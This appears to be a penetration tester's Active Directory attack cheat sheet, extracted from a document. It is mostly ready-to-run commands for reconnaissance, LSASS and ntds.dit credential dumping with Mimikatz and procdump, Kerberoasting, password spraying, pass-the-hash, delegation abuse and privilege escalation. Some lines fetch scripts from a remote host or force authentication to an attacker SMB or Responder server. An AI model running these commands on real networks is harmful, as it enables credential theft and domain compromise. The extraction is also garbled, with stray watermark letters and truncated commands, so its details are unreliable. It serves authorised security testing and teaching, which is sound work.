The Ultimate Active Directory CheatSheet
The Ultimate Active Directory CheatSheet
R
H
AS
IM
R
KA
By
e
ad
M
🛡️
The Ultimate Active Directory Attack Cheat Sheet: A
Pentester's Field Guide
Mission: This guide is designed to be your comprehensive tactical field manual for
dissecting Active Directory environments. It meticulously integrates common
techniques, tools, and commands in a phased approach, drawing from expert sources
and aiming for exhaustive detail for penetration testers and security professionals.
The Pentester's Code: Remember, this knowledge is potent. You're the professional
responsible for wielding it. The mission is always ethical: to illuminate vulnerabilities, to
test defenses, and ultimately, to help organizations bolster their security posture. This
isn't just about "popping shells"; it's about providing actionable insights and driving
M
real defensive improvements. Stay frosty, keep learning, and always operate with
ad
"First Of All There Is No Writeup Or Sheet Sheet Can Contains Every Thing Our
This Cheat Sheet Is The Notes And The Details So Far Till Now in My Journey In
By
🌍
KA
Before we jump into the attacks, let's ensure we're all on the same page with some
IM
● The Crown Jewels (ntds.dit): Think of this as the main AD treasure chest. It's a
database file, usually hiding at C:\Windows\NTDS\ntds.dit (though this path can
H
precious password hashes (NTLM hashes and Kerberos keys) for all domain
accounts. Access to this file is paramount for an attacker aiming for full domain
compromise.
● The Keepers of the Kingdom (Domain Controllers - DCs): These are the
workhorse servers that host and replicate the AD database (ntds.dit). They handle
who gets in (authentication via Kerberos Key Distribution Center - KDC, LDAP)
and what they can do (authorization). Usually, multiple DCs exist for redundancy
and load balancing. Since Windows 2000, AD uses a multi-master replication
model, meaning (with some exceptions for specific operations/FSMO roles)
changes can be made on any writable DC and will replicate to others.
● The Kingdom Itself (Domain): This is your main boundary for administration,
security, and policies in AD. It's a collection of all the users, computers, groups,
and other objects that share the same directory database, security policies (like
password policy), and trust relationships.
● Domains, Trees, and Forests - The Bigger Picture:
○ Tree: Imagine a family tree of domains. They're hierarchically linked
(parent-child relationships) and share a contiguous DNS namespace (like
corp.example.com with its child europe.corp.example.com). DNS is a critical
component and absolutely essential for AD functionality. Trusts between
domains in a tree are typically two-way and transitive by default.
○ Forest: Now picture a collection of these "family trees" (one or more domain
trees). They all agree on the basic rules (Schema - defines object classes and
attributes), share some common info (Configuration partition, Global Catalog),
and have trust connections (typically two-way, transitive) between the roots
M
of each tree. The first domain created in a forest is the forest root domain.
ad
● Organizational Units (OUs): These are like folders within your domain, used to
organize users, computers, other OUs, or other objects. They often mirror a
e
delegating administrative control over specific sets of objects and for applying
specific Group Policies. This is not a security boundary in itself, but a
KA
management one.
● Mapping the Network (Sites): Sites in AD usually reflect your physical network
R
subnets). This helps ensure client computers and member servers authenticate to
and locate services (like DCs or DFS shares) on the closest (in terms of network
AS
topology and cost) servers, which speeds things up and optimizes WAN
bandwidth usage by controlling replication traffic.
H
● The Rulebooks (Group Policy Objects - GPOs): GPOs are sets of rules and
R
configuration settings that dictate how systems look and behave for users and
computers. They're the command center for security settings (password policies,
AF
authentication protocol.
ad
MD4-based), and NTLMv2 (stronger, HMAC-MD5 based, but still weaker than
By
Kerberos).
○ NTLM as a hash: The NTLM hash (MD4 of UTF-16LE password) is used to
KA
store passwords on disk (in SAM for local accounts, ntds.dit for domain
accounts).
R
○ While less preferred than Kerberos, NTLM is often still enabled for
IM
●
Service): The lsass.exe process is critical. It handles user logins (interactive,
network, service), security policy enforcement, password changes, and creates
access tokens that define a user's privileges. Because of this role, LSASS memory
often contains credentials (plaintext passwords, NTLM hashes, Kerberos
tickets/keys) for recently logged-on users and active service accounts, making it
a prime target for credential dumping. LSA Protection (PPL) and Credential Guard
can make this harder.
● SAMR (Security Account Manager Remote Protocol): A legacy, SMB-based
protocol that can be used for enumerating users, groups, and other domain
information. It's slower and provides less information than LDAP but might be
useful if LDAP is restricted.
● PKI (Public Key Infrastructure) & ADCS (Active Directory Certificate
Services): ADCS allows organizations to manage their own PKI, issuing digital
certificates for authentication, encryption, and signing. Components include
Certificate Authority (CA), Certificate Templates, Enrollment Services, Certificate
Revocation Lists (CRLs), Online Certificate Status Protocol (OCSP).
Misconfigurations can lead to severe vulnerabilities. ADCS integrates tightly with
AD DS.
○ Certificate Templates: Predefined configurations for certificates (purpose,
key size, validity, issuance policies). Stored as AD objects
(pKICertificateTemplate).
○ Enrollment Services: Enterprise CAs publish themselves here. Clients find
CAs based on objects in this container.
M
resources in another.
○ Types: Parent-Child, Tree-Root (intra-forest, transitive by default); External
R
Kerberos).
○ Direction: Direction of trust is opposite to direction of access (e.g., Domain A
H
ADCS setup, trust relationships, services and service accounts, delegation rights, and
pathways for your attack. Think of this as drawing a detailed map of the battlefield.
e
🚪
By
1.1 Network & Host Discovery: Who's Home and What Doors Are Open?
Your Goal Here: Find out which machines are alive on the network, what ports they have open,
KA
than internal scanning. Consider the assessment type (black-box, grey-box, white-box) and
IM
client-imposed restrictions (e.g., testing from a managed VDI with limited tools).
Your Toolkit & Commands:
AS
■ Command:
R
■ Purpose: No port scan (ping sweep only). Discovers live hosts using
ICMP, ARP, and TCP ACK/SYN on common ports.
■ <IP_Range/CIDR>: Target network (e.g., 192.168.1.0/24).
■ Command:
nmap -PE -PS445 -PA80 -PP -sn <IP_Range/CIDR>
■ Purpose: More thorough host discovery using ICMP echo (-PE), TCP
SYN to port 445 (-PS445), TCP ACK to port 80 (-PA80), and IP Protocol
Ping (-PP). No port scan (-sn).
■ Command:
nmap -sP <IP_Range/CIDR> -oN live_hosts.txt
(Older syntax for -sn)
■ Purpose: Ping sweep, saves live hosts to live_hosts.txt.
■ Host Discovery Types: -PE (ICMP Echo), -PP (ICMP Timestamp), -PM
(ICMP Address Mask), -PS<portlist>, -PA<portlist>, -PU<portlist>,
-PY<portlist>, -PR (ARP Ping - local, fast, reliable), -Pn or -P0 (Skip host
discovery).
○ Basic Port Scanning (TCP):
■ Command:
nmap -sT <Target_IP>
noisy.
ad
■ Command:
nmap -sS <Target_IP>
e
By
■ Command:
nmap -F <Target_IP>
R
IM
■ Command:
nmap -p <Port_List> <Target_IP>
H
(e.g., -p 80,443,3389 or -p T:22,U:53,161)
R
■ Command:
nmap -p- <Target_IP>
■ Purpose: Scans common UDP ports. Can be slow and less reliable.
■ Command:
nmap -sU --top-ports 20 <Target_IP>
■ Command:
nmap -sV --version-intensity <0-9>
R
IM
■ Command:
R
nmap -O <Target_IP>
AF
■ Command:
ad
or
By
■ Purpose: Runs scripts that check for known vulnerabilities. Use with
R
■ Command:
nmap --script <ScriptName1>,<ScriptName2> <Target_IP>
■ Command:
nmap --script "dns-*" <Target_IP>
■ Command:
nmap --script "http-*" <Target_IP>
■ Command:
nmap <ip> -p 80,443 --script=http-shellshock --script-args
M
uri=/cgi-bin/xx.cgi
ad
■ Command:
nmap --script-help <ScriptName>
KA
(Help for a script)
R
■ Commands:
nmap -T<0-5> <Target_IP>
AS
or
nmap -T<paranoid|sneaky|polite|normal|aggressive|insane> <Target_IP>
H
R
■ nmap -f <Target_IP>
e
or
nmap -D <decoy1,decoy2,ME,...> <Target>
IM
(Idle Zombie Scan)
H
AF
or
nmap -g <portnumber> <Target_IP>
(TCP FIN),
e
(Xmas Scan) (Stealthy, RFC 793 based, not for Windows)
■ nmap -sA <Target_IP>
KA
(TCP ACK Scan - map firewall rules, filtered/unfiltered)
R
(Custom TCP flags: URG, ACK, PSH, RST, SYN, FIN)
AS
○ Output Formats:
AF
■ Command:
nmap -oN normal_output.txt <Target_IP>
■ Command:
nmap -oG grepable_output.gnmap <Target_IP>
■ Command:
nmap -oX xml_output.xml <Target_IP>
■ Command:
nmap -oA <Basename> <Target_IP>
(Saves in All major formats: .nmap, .xml, .gnmap)
○ DNS Resolution: -R (Force reverse DNS), -n (Disable reverse DNS - faster),
--system-dns, --dns-servers <servers>
○ Scanning for AD-Specific Ports:
■ Command:
nmap -p
53,88,135,137,139,389,445,464,593,636,1433,3268,3269,5985,5986,9389,491
52-65535 <Target_DC_or_Range>
scanner)
○ Command:
AS
(TCP)
■ Purpose: Extremely fast TCP port scanner.
R
■ <Rate>: Packets per second (e.g., 100000). Use high rates with caution.
○ Command:
masscan <IP_Range/CIDR> -pU:<Port(s)> --rate <Rate>
(UDP)
■ Purpose: Extremely fast UDP port scanner.
○ Tool Link: robertdavidgraham/masscan (GitHub)
● Ping / fping:
○ Command:
ping <IP_Address>
■ Purpose: Sends ICMP echo requests to check host liveness.
○ Command:
fping -a -g <IP_Range/CIDR> 2>/dev/null
■ Purpose: Pings a range and shows only live (-a) hosts. -g generates the
range. Errors suppressed.
● Netdiscover:
○ Command:
sudo netdiscover -r <IP_Range/CIDR> -i <interface>
auxiliary/scanner/discovery/arp_sweep
● Searchsploit:
e
searchsploit <keyword_e.g_apache_2.4.51>
By
○ Look for ARP, MDNS, NBT-NS, DHCP, DNS traffic to identify active hosts and
AS
potential services.
○ Wireshark filter examples: arp, mdns, nbns, bootp, dns.
H
🗺️
1.2 Mapping the AD Structure & Finding Services (DNS, SMB, LDAP, RPC, MSSQL,
R
Your Goal Here: Figure out where the Domain Controllers are, understand the domain and
forest layout, identify trust relationships, and pinpoint AD-specific services.
Pro Tip: LDAP is excellent for structured queries. SAMR is a legacy alternative. DNS (SRV
records), SMB, and RPC are key.
Your Toolkit & Commands:
● DNS Digging:
○ Dnsrecon:
■ Command:
dnsrecon -d <Domain_Name> -t srv
■ Purpose: Queries DNS for SRV records for LDAP services (finds DCs).
■ Command:
e
[<DNS_Server_IP>]
KA
[<DNS_Server_IP>]
■ Command:
R
nltest /dclist:<Domain_Name>
AF
(Resolve unknown records)
● SMB/NetBIOS Snooping:
AS
○ enum4linux-ng:
■ Command:
H
enum4linux-ng -A <Target_IP_or_DC>
R
AF
■ Command:
crackmapexec smb <IP_Range/CIDR> --shares
e
By
■ Command:
crackmapexec smb <Target_IP> -u '' -p '' --users
KA
(Null session user enum)
■ Command:
R
[MAX_RID]
AS
○ smbmap:
■ Command:
H
smbmap -H <Target_IP>
R
AF
■ Purpose: Critical first step. Gets naming contexts (base DNs for
further queries) and server capabilities. -x for simple auth, -H for
LDAP URI, -s base for base search, -b "" for empty base (rootDSE), +
for operational attributes.
■ Anonymous Users:
ldapsearch -x -H ldap://<DC_IP> -b "<defaultNamingContext>"
"(&(objectClass=user)(objectCategory=person))" sAMAccountName cn
description pwdLastSet lastLogon userAccountControl whenCreated
whenChanged distinguishedName memberOf
M
■ Anonymous Groups:
ad
adminCount
By
■ Anonymous Computers:
KA
operatingSystemServicePack servicePrincipalName
IM
msDS-AllowedToDelegateTo userAccountControl
AS
■ Authenticated:
ldapsearch -x -H ldap://<DC_IP> -D "<UserDN_or_UPN>" -w "<Password>"
H
■ -w: Password.
○ ADExplorer (Sysinternals): Visual AD browsing, snapshots for offline
analysis.
○ JXplorer / LDAPAdmin: Cross-platform GUI LDAP browsers.
○ PowerView (PowerSploit PowerShell module):
■ Get-NetDomain
or
Get-Domain
■ Get-NetDomainController
or
Get-DomainController
■ Get-NetForest
or
Get-Forest
■ Get-NetForestDomain
or
M
Get-ForestDomain
ad
■ Get-NetDomainTrust
e
By
or
Get-DomainTrust
KA
■ Get-NetForestTrust
R
or
IM
Get-ForestTrust
AS
■ Get-DomainPolicy
H
■ (Get-DomainPolicy)."systemaccess"
AF
(Password & lockout policies)
■ (Get-DomainPolicy)."kerberospolicy"
(Kerberos ticket lifetimes)
○ ADModule (Built-in PowerShell module):
■ Get-ADDomain
○ windapsearch.py:
windapsearch.py --dc-ip <DC_IP> -U
windapsearch.py --dc-ip <DC_IP> -u <user> -p <pass> --da
Also --all-attributes, --custom <filter>.
○ ldapdomaindump (Python tool):
■ Command:
ldapdomaindump ldap://<DC_IP> -u <DOMAIN\USER> -p <PASSWORD> -o
<Output_Dir>
M
ad
● RPC Probing:
By
■ Command:
rpcdump.py <Target_IP>
(Lists available RPC endpoints)
■ Command:
rpcdump.py @<Target_IP>
(Queries RPC endpoint mapper directly)
○ Nmap NSE for RPC:
nmap --script rpcap-brute,rpcinfo <Target_IP>
● MSSQL Enumeration:
○ Nmap:
nmap -p 1433 --script
ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-s
ql-dac,ms-sql-dump-hashes <Target_IP>
○ PowerUpSQL:
Import-Module PowerUpSQL.ps1
Get-SQLInstanceDomain -Verbose
Get-SQLServerInfo -Instance <SQL_Instance> -Verbose
Get-SQLServerLink -Instance <SQL_Instance> -Verbose
M
○ CrackMapExec:
ad
● Exchange Enumeration:
○ Nmap NSE:
KA
http-ntlm-info.root=/ews/,exchange-enum-users.fingerprintfile=/usr/share/nm
IM
○ ntlmscan (Python):
python3 ntlmscan.py --host https://<Exchange_IP>/ews/exchange.asmx
H
R
○ Version enum:
curl
https://<Exchange_IP>/ecp/Current/exporttool/microsoft.exchange.ediscovery.
exporttool.application -k | xmllint --format | grep version
(on DC).
By
📂
1.3 Domain Object Enumeration (Users, Groups, Computers, GPOs, OUs, ACLs,
IM
Trusts)
Your Goal Here:
AS
●
● Understand OU structure (GPO linkage, delegation of control).
● Examine ACLs (permissions on objects, looking for misconfigurations like
GenericAll, WriteDACL, WriteOwner).
● Map trust relationships.
Pro Tip:
● Look for descriptions (e.g., password in description).
● Check pwdLastSet (old passwords) and lastLogonTimestamp (inactive accounts).
● Identify SPNs (Kerberoasting targets).
● Analyze userAccountControl flags (delegation settings, DONT_REQ_PREAUTH).
● Examine msDS-AllowedToDelegateTo (constrained delegation).
● Note adminCount=1 (AdminSDHolder protection).
● PowerView & ADModule are excellent for this.
● BloodHound visualizes attack paths.
● CrackMapExec scales enumeration, especially with credentials.
Working with PowerShell Modules:
● Import-Module ActiveDirectory
(RSAT needed or on DC/member)
● Import-Module .\PowerView.ps1
(or IEX (New-Object Net.WebClient).DownloadString('http://host/PowerView.ps1'))
M
Get-NetDomain
By
Get-DomainSID
(Get-DomainPolicy)."systemaccess"
KA
(Get-DomainPolicy)."kerberospolicy"
R
(Or Get-Domain)
IM
○ Users:
Get-NetUser
AS
Get-DomainUser
Get-NetUser -UserName <User>
H
Get-NetUser -Properties
AF
samaccountname,description,pwdlastset,lastlogontimestamp,badpwdcount,m
emberof,serviceprincipalname,useraccountcontrol,admincount,comment,mail
Find-UserField -SearchField Description -SearchTerm "admin*"
Get-UserProperty -Properties pwdlastset,lastlogon | Sort-Object pwdlastset
Get-NetUser -PreauthNotRequired
Get-DomainUser -PreauthNotRequired
Get-NetUser -SPN
Get-DomainUser -SPN
Get-NetUser -TrustedToAuth
Get-DomainUser -TrustedToAuth
Get-NetUser -Unconstrained
Get-DomainUser -AllowDelegation
Get-NetUser -PasswordNotRequired
Get-NetUser -PasswordNeverExpires
Get-NetUser -AdminCount
○ Groups:
Get-NetGroup
Get-DomainGroup
Get-NetGroup -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins"
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-DomainGroupMember -Identity "Domain Admins" -Recursive
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty
M
Member
ad
Find-ForeignUser
By
Find-ForeignGroup
KA
○ Computers:
Get-NetComputer
R
Get-DomainComputer
IM
Get-NetComputer -FullData
Get-NetComputer -OperatingSystem "*Server*"
AS
Get-NetComputer -Unconstrained
Get-NetComputer -TrustedToAuth
H
Get-NetComputer -Ping
R
○ GPOs:
AF
Get-NetGPO
Get-NetGPO -ComputerName <ComputerName>
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
Find-GPOLocation -UserName <UserName>
Get-NetGPOGroup
Get-NetGPO -GPOname <GUID_of_GPO>
○ OUs:
Get-NetOU -FullData
Get-NetOU -OUName "Servers"
○ ACLs:
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
Find-InterestingDomainAcl -ResolveGUIDs
Invoke-ACLScanner -ResolveGUIDs
Get-PathAcl -Path "\\<Server>\<Share>"
○ Trusts:
Get-NetDomainTrust
Get-NetForestDomain
Get-NetForestTrust
Get-DomainTrustMapping
M
ad
Invoke-UserHunter
By
Invoke-UserHunter -CheckAccess
Invoke-UserHunter -Stealth
KA
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
R
○ Users:
R
○ Groups:
Get-ADGroup -Filter *
Get-ADGroupMember -Identity "Domain Admins" -Recursive
○ Computers:
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter {OperatingSystem -like "*Server*"} -Properties
OperatingSystem,DNSHostName
Get-ADComputer -Filter {userAccountControl -band 524288} -Properties
SamAccountName
M
ad
○ GPOs:
Get-GPO -All
e
C:\temp\gpo_report.html
KA
○ OUs:
Get-ADOrganizationalUnit -Filter *
R
IM
○ Trusts:
Get-ADTrust -Filter *
AS
○ Forest:
R
Get-ADForest
(Get-ADForest).Domains
AF
○ AppLocker Policy:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
ad
SharpHound.exe --CollectionMethods
By
All,GPOLocalGroup,CARegistry,DCRegistry,CertServices --Domain
<Domain> --Stealth --JSONFolder <Path> --EncryptZip
KA
■ Invoke-BloodHound (PowerShell):
Invoke-BloodHound -CollectionMethod All -Domain <DomainFQDN>
H
■ BloodHound.py (Python):
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN_FQDN> -ns
<DC_IP_or_Name> -gc <GC_IP> -c All --zip
○ LDAP:
cme ldap <DC_IP> -u <user> -p <pass> --users, --groups, --computers,
--admin-count, --trusted-for-delegation, --password-not-required,
--asreproast <file>, --kerberoasting <file>
M
● ADRecon:
ad
ADRecon.ps1
ADRecon.ps1 -DomainController <DC_IP_or_FQDN> -Credential <DOMAIN\User>
e
○ nltest /domain_trusts
nltest /dclist:<domain>
○ gpresult /r
(Applied GPOs for current user/computer)
○ whoami /priv
(Check current user privileges)
M
○ qwinsta /server:<target>
ad
(Check RDP sessions)
e
1.4 Initial User Hunting & Access Validation (Internal Recon - Often
By
Unauthenticated or Low-Priv)
● PowerView: Find-DomainUserLocation, Invoke-UserHunter -CheckAccess,
KA
Invoke-EnumerateLocalAdmin -Verbose
● Kerbrute:
R
(Uses Kerberos Pre-Auth failures to validate users, stealthier than SMB
AS
enumeration).
○ Compile from source:
H
● CrackMapExec (CME):
cme smb <DC_IP> --users
(If null session allowed).
● rpcclient:
rpcclient -U "" -N <DC_IP>
then enumdomusers.
● windapsearch.py:
windapsearch.py --dc-ip <DC_IP> -U
(Anonymous LDAP users).
● Passive Network Analysis: Wireshark/tcpdump for ARP, MDNS, NBT-NS to
identify hosts.
sudo tcpdump -i <interface> -w capture.pcap
■ Example (sqlmap):
sqlmap -u "http://target.com/vuln.php?id=1" --dbs --batch --os-shell
ad
--risk=3 --level=5
e
weaponized PDFs.
■ Tools: Unicorn, Macro_Pack, EvilOffice, Luckystrike.
H
CredSniper.
○ Link-Based Attacks: Drive-by downloads (BeEF).
○ DDE Attacks: Office DDE to execute commands.
○ Further Reading: "The Hitchhiker's Guide To Initial Access", "Phishing with
Empire".
● Password Spraying:
○ Goal: Try few common passwords (e.g., "Spring2024!", "Password123")
against many usernames.
○ Pro Tip: Mind lockout policies (Get-DomainPolicy, enum4linux-ng -P). Spray
slowly. Target SMB, LDAP, OWA, EWS, WinRM, Azure AD, RDP.
○ Tools:
■ CrackMapExec (CME):
cme <protocol> <Target_Range_or_DC_IP> -u <UserListFile.txt> -p
'<PasswordToTry>' --continue-on-success --log spray.log
■ MSOLSpray (Azure/O365):
MSOLSpray.py -u <UserListFile.txt> -p '<PasswordToTry>' --throttle 5
--lockout 3
■ Ruler (Exchange)
ad
■ DomainPasswordSpray.ps1:
Invoke-DomainPasswordSpray -UserList <UserListFile.txt> -Password
e
■ Kerbrute:
KA
● URL File Attacks (NTLM Hash Capture with Responder): .url file with
IconFile=\\<AttackersResponderIP>\%USERNAME%.icon.
H
○ Responder (Linux):
sudo responder -I <interface> -wrfvb
AF
token::elevate
sekurlsa::logonpasswords
ad
sekurlsa::ekeys
e
sekurlsa::tickets /export
sekurlsa::tspkg
By
sekurlsa::dpapi
sekurlsa::minidump lsass.dmp
KA
❗
■ Userland (PPLDump tool)
H
○ ProcDump (Sysinternals):
■ On target (Admin/SYSTEM):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
(-ma: full dump)
■ Offline (with Mimikatz):
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
exit
○ Windows Task Manager: GUI, less stealthy, right-click lsass.exe -> "Create
dump file".
○ Metasploit (Meterpreter with SYSTEM): load kiwi, creds_all, kerberos, msv.
Modules: post/windows/gather/smart_hashdump,
post/windows/gather/credentials/mimikatz, post/windows/gather/lsa_secrets.
○ SharpDump (.NET): Assembly for LSASS dump.
○ gsecdump: Older tool, likely detected.
○ CrackMapExec Modules: lsassy, procdump, handlekatz, nanodump.
■ cme smb <target> -u <user> -p <pass> -M lsassy
ad
○ Live (admin/SYSTEM):
By
○ Mimikatz (offline):
H
○ Mimikatz (live):
token::elevate
lsadump::sam
lsadump::secrets
■ diskshadow.exe script:
e
begin backup
add volume C: alias ntds_backup_drive
R
create
IM
unexpose X:
delete shadows exposed X:
H
end backup
R
reset
AF
○ ADModule:
e
ServicePrincipalName
KA
○ Impacket GetUserSPNs.py:
GetUserSPNs.py -request -dc-ip <DC_IP>
R
<DOMAIN>/<User_with_read_access_or_DA>:<Password> -outputfile
IM
kerb_hashes.txt
AS
/credpassword:<pass>
AF
○ CrackMapExec:
cme ldap <DC_IP> -u <USER> -p <PASSWORD> --kerberoasting
kerb_hashes.txt --kdcHost <KDC_IP>
○ Cracking:
hashcat -m 13100 kerb_hashes.txt <WordlistFile>
(RC4-HMAC)
○ Detection: Event ID 4769 (TGS request) with RC4, high volume.
○ Mitigation: Strong passwords for service accounts (25+ chars), gMSA, prefer
AES for Kerberos (msDS-SupportedEncryptionTypes), monitor TGS requests.
● AS-REP Roasting (Users with Pre-auth Disabled):
○ Goal: Request AS-REP (encrypted with user's NTLM hash) for users with "Do
not require Kerberos preauthentication". Crack offline. No domain creds
needed for enum if anonymous LDAP.
○ PowerView:
Get-DomainUser -PreauthNotRequired -Verbose | Select-Object
samaccountname
○ ADModule:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True -and Enabled -eq
$True} ...
M
ad
-Verbose
By
○ Impacket GetNPUsers.py:
KA
○ Rubeus:
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
AS
/domain:<DOMAIN> /dc:<DC_IP>
Rubeus.exe asreproast /user:<username> /ou:<OUName>
H
R
○ CrackMapExec:
cme ldap <DC_IP> -u <UserListFile.txt> -p '' --asreproast asrep_hashes.txt
AF
(if no creds needed for enum)
○ Cracking:
hashcat -m 18200 asrep_hashes.txt <WordlistFile>
(Kerberos 5 AS-REP etype 23)
○ Detection: Event ID 4768 (TGT request) error 0x19, or successful TGTs for
these accounts. Event ID 4738 (user account changed).
○ Mitigation: Disable "Do not require Kerberos preauthentication". Strong
passwords. Monitor attribute changes.
● Searching for Passwords in Files/Registry/GPOs/Config Artifacts:
○ SYSVOL (GPP Passwords): PowerView Get-GPPPassword, CME cme smb
<DC_IP> ... --gpp-passwords. Manual: Look in
\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ for Groups.xml, Services.xml,
ScheduledTasks.xml. Decrypt cPassword attribute using gpp-decrypt or
online tools.
○ Config Files: web.config, application.ini, unattend.xml, php.ini, .env.
○ Scripts: PowerShell, batch, VBS, Python.
○ User Docs: passwords.txt, creds.xlsx.
○ Registry: VNC, RDP managers, FTP clients.
○ Tools: grep, findstr, Invoke-ShareFinder, SharpShares, Invoke-FileFinder,
Snaffler.
○ CrackMapExec Modules: gpp_password, gpp_autologin.
M
■ Get masterkey:
IM
■ <Path_to_MasterKeyFile>: Typically
C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<User_SID>\...
R
■ Decrypt credential:
AF
dpapi::cred /in:"<Path_to_CredentialFile>"
/masterkey:<Derived_MasterKey_from_above>
○ SharpDPAPI:
■ SharpDPAPI.exe masterkeys
/target:"C:\Users\<USER>\AppData\Roaming\Microsoft\Protect\<User_SID>
"
SharpDPAPI.exe creds /target:"<Path_to_Cred_File_or_Directory>"
/server:<DC_IP>
● LSA Secrets / Policy Secrets (often contains service account passwords):
○ Mimikatz (SYSTEM): token::elevate, lsadump::secrets.
○ secretsdump.py (offline against SYSTEM and SECURITY hives).
● MSSQL Credential Harvesting: UNC Path Injection: EXEC master..xp_dirtree
'\\attacker_smb\share'. PowerUpSQL: Get-MSSQLLinkPasswords,
Get-MSSQLCredential.
● Exchange Credential Harvesting: Embed SMB links in emails/calendar invites.
M
ad
e
By
KA
R
IM
AS
H
R
AF
Phase 4: Lateral Movement - Spreading Through the Network
🚶♂️➡️🚶♀️
Your Goal Here: Use compromised credentials (plaintext, hash, ticket) or exploits to gain
access to other systems within the network, moving closer to high-value targets.
Pro Tip: Choose technique based on the credentials you have and the services available on
the target. Prioritize stealth and "living off the land" where possible. NTLM Relay is powerful if
SMB signing is disabled or not required on target services. C2 frameworks like Sliver can
manage pivots and deploy agents. Be aware of UAC remote restrictions (RID 500 vs. other
local admins).
Your Toolkit & Commands (assuming you have credentials/tickets):
● Pass-the-Hash (PtH) with NTLM Hashes:
M
○ CrackMapExec (SMB):
ad
<LocalFile> <RemotePath>
○ Impacket (Linux):
KA
<LMHASH>:<NTHASH>
wmiexec.py <DOMAIN>/<USER>@<TARGET_IP> -hashes
AS
<LMHASH>:<NTHASH>
H
[/luid:<LogonID>]
e
○ Rubeus (Windows):
AF
■ Check if enabled:
M
DisableRestrictedAdmin
e
■ Linux:
proxychains4 -q xfreerdp /u:user /pth:HASH /d:domain /v:target
AS
username=<user> password=<pass>
AF
○ Clean RunMRU:
CleanRunMRU.exe clearall
(Clears RDP connection history)
○ Pro Tip: Check for existing RDP sessions using qwinsta /server:<Target_IP>. If
you have admin rights on the target, you might be able to hijack sessions (e.g.,
using tscon).
● Windows Remote Management (WinRM / PowerShell Remoting) - Ports 5985
(HTTP), 5986 (HTTPS):
○ Plaintext (PowerShell):
$cred = Get-Credential # prompts for DOMAIN\USER and PASSWORD
Invoke-Command -ComputerName <Target_IP> -ScriptBlock {whoami}
-Credential $cred
Enter-PSSession -ComputerName <Target_IP> -Credential $cred
○ CrackMapExec (WinRM):
ad
○ Metasploit: exploit/windows/winrm/winrm_script_exec,
auxiliary/scanner/winrm/winrm_login
KA
credentials. Workarounds:
R
wmic /node: /user: /password: process call create "command"
e
By
(Interactive SMB shell)
R
○ Relay to AD CS (ESC8):
IM
○ Coercion:
H
○ Check perms:
accesschk.exe -uwcqv <USER> <ServiceName>
(Sysinternals)
○ Action: If perms allow, modify binPath to payload, restart service.
● Scheduled Tasks (schtasks.exe):
○ Legacy:
at \\<Target_IP> 13:37 /interactive cmd.exe
○ Modern:
schtasks /create /s <Target_IP> /u <DOMAIN\USER> /p <PASSWORD> /tn
<TaskName> /tr "C:\path\to\payload.exe" /sc ONCE /st HH:MM
schtasks /run /s <Target_IP> /u <DOMAIN\USER> /p <PASSWORD> /tn
<TaskName>
schtasks /delete /s <Target_IP> /u <DOMAIN\USER> /p <PASSWORD> /tn
<TaskName> /f
M
ad
○ Example (Impacket):
dcomexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> -object
KA
● SCCM:
SharpSCCM.exe invoke client-push -t <Target>
H
R
Common Techniques:
AS
(Get-PSReadlineOption).HistorySavePath.
By
Get-GPPPassword.
IM
○ PrintSpoofer:
PrintSpoofer.exe -i -c "C:\path\to\payload.exe"
H
(runs payload as SYSTEM).
R
AUTHORITY\SYSTEM".
○ Invoke-TokenManipulation (PowerSploit).
● Scheduled Tasks with Weak Permissions.
● DLL Hijacking (Applications).
● PATH Interception.
● CVEs: SMBGhost (CVE-2020-0796), HiveNightmare/SeriousSAM
(CVE-2021-36934).
● Further Reading: Windows Local Privilege Escalation Cookbook (FuzzySecurity).
5.2 Domain Privilege Escalation
Goal: Elevate from local admin/domain user to Domain Admin or Enterprise Admin.
● Exploiting Kerberos Delegation:
○ Unconstrained Delegation:
■ Condition: Compromise UCD host. DA authenticates. DA's TGT cached in
LSASS.
■ Find: Get-NetUser -Unconstrained, Get-NetComputer -Unconstrained.
■ Exploit: Dump LSASS (mimikatz sekurlsa::tickets /export), PtT DA's TGT.
■ Coerce Auth (Printer Bug/SpoolSample):
SpoolSample.exe <DA_Machine_or_DC> <Compromised_UCD_Host>
■ Rubeus:
Rubeus.exe s4u /user:SvcA /rc4:Hash_SvcA /impersonateuser:UserX
e
msDS-AllowedToActOnBehalfOfOtherIdentity.
IM
■ Powermad:
New-MachineAccount -MachineAccount AttackerPC -Password <pass>
H
R
@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
■ Rubeus (S4U):
Rubeus.exe s4u /user:AttackerPC$ /rc4:<hash_of_AttackerPC$>
/impersonateuser:Administrator /msdsspn:HOST/TargetComputer
/altservice:cifs /ptt
CN=AdminSDHolder,CN=System,<DomainDN>.
● Shadow Credentials (msDS-KeyCredentialLink):
e
user/computer.
○ Tools: Whisker.exe add /target:TargetUser$, Certipy shadow auto ...,
KA
PyWhisker.
○ Auth with new cred:
R
/password:<PFXPass_if_any> /ptt
AS
○ PKINITtools:
gettgtpkinit.py -pfx-base64 <base64_cert> <domain/target_user$>
H
<output.ccache>
R
○ SID History Abuse (Forge Golden Ticket with EA SID from parent/root in
sIDHistory).
AS
● GPO Abuse: If write access to GPO linked to DCs/sensitive OUs. Deploy malicious
task/script.
H
○ PyGPOAbuse:
R
● Specific Vulnerabilities:
○ ZeroLogon (CVE-2020-1472): Reset DC machine account pass. Tools:
SharpZeroLogon, Invoke-ZeroLogon, ZeroDump. Mitigation: Apply security
